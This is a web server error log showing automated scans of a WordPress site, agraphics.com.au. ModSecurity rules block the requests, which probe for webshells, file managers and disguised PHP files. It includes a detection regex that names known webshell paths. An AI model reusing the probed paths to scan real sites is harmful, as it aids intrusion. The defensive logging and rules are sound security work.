[Mon Feb 23 12:00:51.850296 2026] [:error] [pid 39640:tid 39675] [client 45.132.224.139:29981] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZvQ89sK--eVCgzvvudo7QAAAoU"]
[Mon Feb 23 12:00:52.372498 2026] [proxy_fcgi:error] [pid 29909:tid 29926] [client 45.132.224.155:23117] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:52.558497 2026] [proxy_fcgi:error] [pid 29909:tid 29932] [client 45.132.224.155:23117] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:52.739197 2026] [proxy_fcgi:error] [pid 29909:tid 29928] [client 45.132.224.155:23117] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:53.022806 2026] [:error] [pid 29909:tid 29919] [client 45.132.224.155:23117] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZvQ9T9oc2QzltksUk64RgAAAQg"]
[Mon Feb 23 12:00:53.395979 2026] [proxy_fcgi:error] [pid 39639:tid 39646] [client 45.132.224.147:56471] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:53.578108 2026] [:error] [pid 39639:tid 39648] [client 45.132.224.147:56471] [client 45.132.224.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aZvQ9RpFkMoMi8uTUUMwYwAAAkU"]
[Mon Feb 23 12:00:55.862790 2026] [proxy_fcgi:error] [pid 39639:tid 39655] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:56.068237 2026] [proxy_fcgi:error] [pid 39639:tid 39653] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:56.257678 2026] [proxy_fcgi:error] [pid 39639:tid 39645] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:56.632666 2026] [proxy_fcgi:error] [pid 39639:tid 39656] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:57.173860 2026] [proxy_fcgi:error] [pid 39639:tid 39660] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:57.431376 2026] [proxy_fcgi:error] [pid 39639:tid 39657] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:57.627785 2026] [proxy_fcgi:error] [pid 39639:tid 39665] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:57.815718 2026] [proxy_fcgi:error] [pid 39639:tid 39658] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:58.405477 2026] [proxy_fcgi:error] [pid 39639:tid 39653] [client 45.132.224.145:53729] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:58.583763 2026] [:error] [pid 39639:tid 39646] [client 45.132.224.145:53729] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aZvQ-hpFkMoMi8uTUUMwgwAAAkM"]
[Mon Feb 23 12:00:58.999877 2026] [:error] [pid 39639:tid 39645] [client 45.132.224.124:44069] [client 45.132.224.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZvQ-hpFkMoMi8uTUUMwhQAAAkI"]
[Mon Feb 23 12:00:59.341250 2026] [:error] [pid 25380:tid 25400] [client 45.132.224.120:37691] [client 45.132.224.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.120, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aZvQ-6Krc8yFQ8fy78p6ugAAANI"]
[Mon Feb 23 12:00:59.345596 2026] [proxy_fcgi:error] [pid 25380:tid 25400] [client 45.132.224.120:37691] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:59.519957 2026] [proxy_fcgi:error] [pid 25380:tid 25406] [client 45.132.224.120:37691] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:59.691109 2026] [:error] [pid 25380:tid 25392] [client 45.132.224.120:37691] [client 45.132.224.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aZvQ-6Krc8yFQ8fy78p6vgAAAMo"]
[Mon Feb 23 12:01:00.219815 2026] [proxy_fcgi:error] [pid 39639:tid 39652] [client 45.132.224.132:30445] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:00.415582 2026] [:error] [pid 39639:tid 39659] [client 45.132.224.132:30445] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aZvQ_BpFkMoMi8uTUUMwiwAAAlA"]
[Mon Feb 23 12:01:00.928303 2026] [:error] [pid 39504:tid 39519] [client 45.132.224.139:65349] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aZvQ_HLcHpOlI9gwwJruGwAAAU0"]
[Mon Feb 23 12:01:02.111100 2026] [:error] [pid 39640:tid 39678] [client 45.132.224.125:32009] [client 45.132.224.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZvQ_tsK--eVCgzvvudo-wAAAog"]
[Mon Feb 23 12:01:02.489295 2026] [:error] [pid 39504:tid 39525] [client 45.132.224.113:33213] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aZvQ_nLcHpOlI9gwwJruHQAAAVM"]
[Mon Feb 23 12:01:03.488879 2026] [proxy_fcgi:error] [pid 39640:tid 39671] [client 45.132.224.112:48105] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:03.831142 2026] [:error] [pid 39640:tid 39684] [client 45.132.224.112:48105] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aZvQ_9sK--eVCgzvvudpBQAAAo4"]
[Mon Feb 23 12:01:04.542645 2026] [proxy_fcgi:error] [pid 39538:tid 39561] [client 45.132.224.147:36997] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:04.908123 2026] [:error] [pid 39538:tid 39550] [client 45.132.224.147:36997] [client 45.132.224.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aZvRAC4Zk8-cQOG3ZnozHQAAAYg"]
[Mon Feb 23 12:01:05.318498 2026] [:error] [pid 39540:tid 39584] [client 45.132.224.135:54247] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aZvRAbsgm9aTWhlRScLkIwAAAc8"]
[Mon Feb 23 12:01:05.869912 2026] [proxy_fcgi:error] [pid 39540:tid 39571] [client 45.132.224.148:51261] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:06.047181 2026] [:error] [pid 39540:tid 39572] [client 45.132.224.148:51261] [client 45.132.224.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZvRArsgm9aTWhlRScLkKgAAAcM"]
[Mon Feb 23 12:01:06.447857 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.108:62057] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aZvRArsgm9aTWhlRScLkLQAAAdU"]
[Mon Feb 23 12:01:07.228499 2026] [proxy_fcgi:error] [pid 39540:tid 39582] [client 45.132.224.129:23981] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:07.402974 2026] [proxy_fcgi:error] [pid 39540:tid 39590] [client 45.132.224.129:23981] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:07.757104 2026] [proxy_fcgi:error] [pid 39540:tid 39583] [client 45.132.224.129:23981] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:08.176228 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.129:23981] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aZvRBLsgm9aTWhlRScLkPgAAAck"]
[Mon Feb 23 12:01:08.553598 2026] [:error] [pid 25380:tid 25384] [client 45.132.224.152:41197] [client 45.132.224.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aZvRBKKrc8yFQ8fy78p6xwAAAMI"]
[Mon Feb 23 12:01:08.922896 2026] [proxy_fcgi:error] [pid 39639:tid 39663] [client 45.132.224.134:59713] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:09.108593 2026] [proxy_fcgi:error] [pid 39639:tid 39657] [client 45.132.224.134:59713] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:09.487694 2026] [proxy_fcgi:error] [pid 39639:tid 39645] [client 45.132.224.134:59713] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:09.702130 2026] [:error] [pid 39639:tid 39647] [client 45.132.224.134:59713] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aZvRBRpFkMoMi8uTUUMwmAAAAkQ"]
[Mon Feb 23 12:01:10.050924 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.122:40853] [client 45.132.224.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZvRBqKrc8yFQ8fy78p6zQAAANc"]
[Mon Feb 23 12:01:10.416927 2026] [:error] [pid 25294:tid 25356] [client 45.132.224.108:63871] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZvRBiRCFB3CqIo_jfaO8QAAAEs"]
[Mon Feb 23 12:01:11.587847 2026] [proxy_fcgi:error] [pid 25295:tid 25365] [client 45.132.224.115:28447] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:11.760558 2026] [:error] [pid 25295:tid 25361] [client 45.132.224.115:28447] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aZvRB42Av4J1Jnqi7yKkbQAAAJQ"]
[Mon Feb 23 12:01:12.451949 2026] [:error] [pid 39640:tid 39692] [client 45.132.224.138:50755] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZvRCNsK--eVCgzvvudpFAAAApY"]
[Mon Feb 23 12:01:12.831520 2026] [proxy_fcgi:error] [pid 39640:tid 39682] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:13.035448 2026] [proxy_fcgi:error] [pid 39640:tid 39691] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:13.425436 2026] [proxy_fcgi:error] [pid 39640:tid 39674] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:14.181112 2026] [:error] [pid 39640:tid 39677] [client 45.132.224.139:30025] [client 45.132.224.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.139, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/js/wp-login.php"] [unique_id "aZvRCtsK--eVCgzvvudpIgAAAoc"]
[Mon Feb 23 12:01:14.585153 2026] [:error] [pid 39640:tid 39670] [client 45.132.224.139:30025] File does not exist: /home/agraphicscom/public_html/worm.PhP
[Mon Feb 23 12:01:14.787879 2026] [proxy_fcgi:error] [pid 39640:tid 39683] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:14.960236 2026] [proxy_fcgi:error] [pid 39640:tid 39682] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:15.143550 2026] [proxy_fcgi:error] [pid 39640:tid 39690] [client 45.132.224.139:30025] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:15.311944 2026] [:error] [pid 39640:tid 39691] [client 45.132.224.139:30025] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aZvRC9sK--eVCgzvvudpKQAAApU"]
[Mon Feb 23 12:01:15.663183 2026] [:error] [pid 39540:tid 39571] [client 45.132.224.108:59461] [client 45.132.224.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.108, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aZvRC7sgm9aTWhlRScLkQwAAAcI"]
[Mon Feb 23 12:01:15.867351 2026] [proxy_fcgi:error] [pid 39540:tid 39572] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:16.261172 2026] [proxy_fcgi:error] [pid 39540:tid 39592] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:16.436075 2026] [proxy_fcgi:error] [pid 39540:tid 39593] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:16.887608 2026] [proxy_fcgi:error] [pid 39540:tid 39590] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:17.280214 2026] [proxy_fcgi:error] [pid 39540:tid 39570] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:17.812626 2026] [proxy_fcgi:error] [pid 39540:tid 39578] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:19.075689 2026] [proxy_fcgi:error] [pid 39540:tid 39592] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:19.255197 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:19.819810 2026] [proxy_fcgi:error] [pid 39540:tid 39590] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:20.180201 2026] [proxy_fcgi:error] [pid 39540:tid 39583] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:20.410235 2026] [proxy_fcgi:error] [pid 39540:tid 39581] [client 45.132.224.108:59461] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:20.581802 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.108:59461] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aZvRELsgm9aTWhlRScLkYQAAAck"]
[Mon Feb 23 12:01:21.121422 2026] [proxy_fcgi:error] [pid 25380:tid 25395] [client 45.132.224.127:47817] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:21.311081 2026] [proxy_fcgi:error] [pid 25380:tid 25402] [client 45.132.224.127:47817] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:21.481277 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.127:47817] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZvREaKrc8yFQ8fy78p65wAAANc"]
[Mon Feb 23 12:01:22.044774 2026] [proxy_fcgi:error] [pid 25380:tid 25386] [client 45.132.224.136:59213] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:22.215680 2026] [:error] [pid 25380:tid 25406] [client 45.132.224.136:59213] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aZvREqKrc8yFQ8fy78p67AAAANg"]
[Mon Feb 23 12:01:23.994347 2026] [proxy_fcgi:error] [pid 39639:tid 39667] [client 45.132.224.134:24523] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:24.380482 2026] [proxy_fcgi:error] [pid 39639:tid 39652] [client 45.132.224.134:24523] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:24.553858 2026] [proxy_fcgi:error] [pid 39639:tid 39654] [client 45.132.224.134:24523] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:24.729791 2026] [proxy_fcgi:error] [pid 39639:tid 39653] [client 45.132.224.134:24523] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:24.905090 2026] [proxy_fcgi:error] [pid 39639:tid 39666] [client 45.132.224.134:24523] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:26.394498 2026] [:error] [pid 39639:tid 39661] [client 45.132.224.134:24523] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aZvRFhpFkMoMi8uTUUMwrwAAAlI"]
[Mon Feb 23 12:01:26.755635 2026] [proxy_fcgi:error] [pid 25294:tid 25351] [client 45.132.224.136:42113] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:26.927308 2026] [proxy_fcgi:error] [pid 25294:tid 25331] [client 45.132.224.136:42113] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:27.124955 2026] [:error] [pid 25294:tid 25373] [client 45.132.224.136:42113] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZvRFyRCFB3CqIo_jfaO_wAAAFQ"]
[Mon Feb 23 12:01:28.558187 2026] [:error] [pid 39504:tid 39510] [client 45.132.224.116:59595] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aZvRGHLcHpOlI9gwwJruKQAAAUQ"]
[Mon Feb 23 12:01:29.111535 2026] [proxy_fcgi:error] [pid 39504:tid 39517] [client 45.132.224.152:40927] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:29.648877 2026] [proxy_fcgi:error] [pid 39504:tid 39511] [client 45.132.224.152:40927] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:29.895179 2026] [proxy_fcgi:error] [pid 39504:tid 39506] [client 45.132.224.152:40927] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:30.070712 2026] [:error] [pid 39504:tid 39522] [client 45.132.224.152:40927] [client 45.132.224.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aZvRGnLcHpOlI9gwwJruMQAAAVA"]
[Mon Feb 23 12:01:30.419512 2026] [:error] [pid 39639:tid 39658] [client 45.132.224.129:58359] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aZvRGhpFkMoMi8uTUUMwtQAAAk8"]
[Mon Feb 23 12:01:31.966860 2026] [proxy_fcgi:error] [pid 39639:tid 39666] [client 45.132.224.119:25105] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:32.340274 2026] [:error] [pid 39639:tid 39664] [client 45.132.224.119:25105] [client 45.132.224.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aZvRHBpFkMoMi8uTUUMwwQAAAlU"]
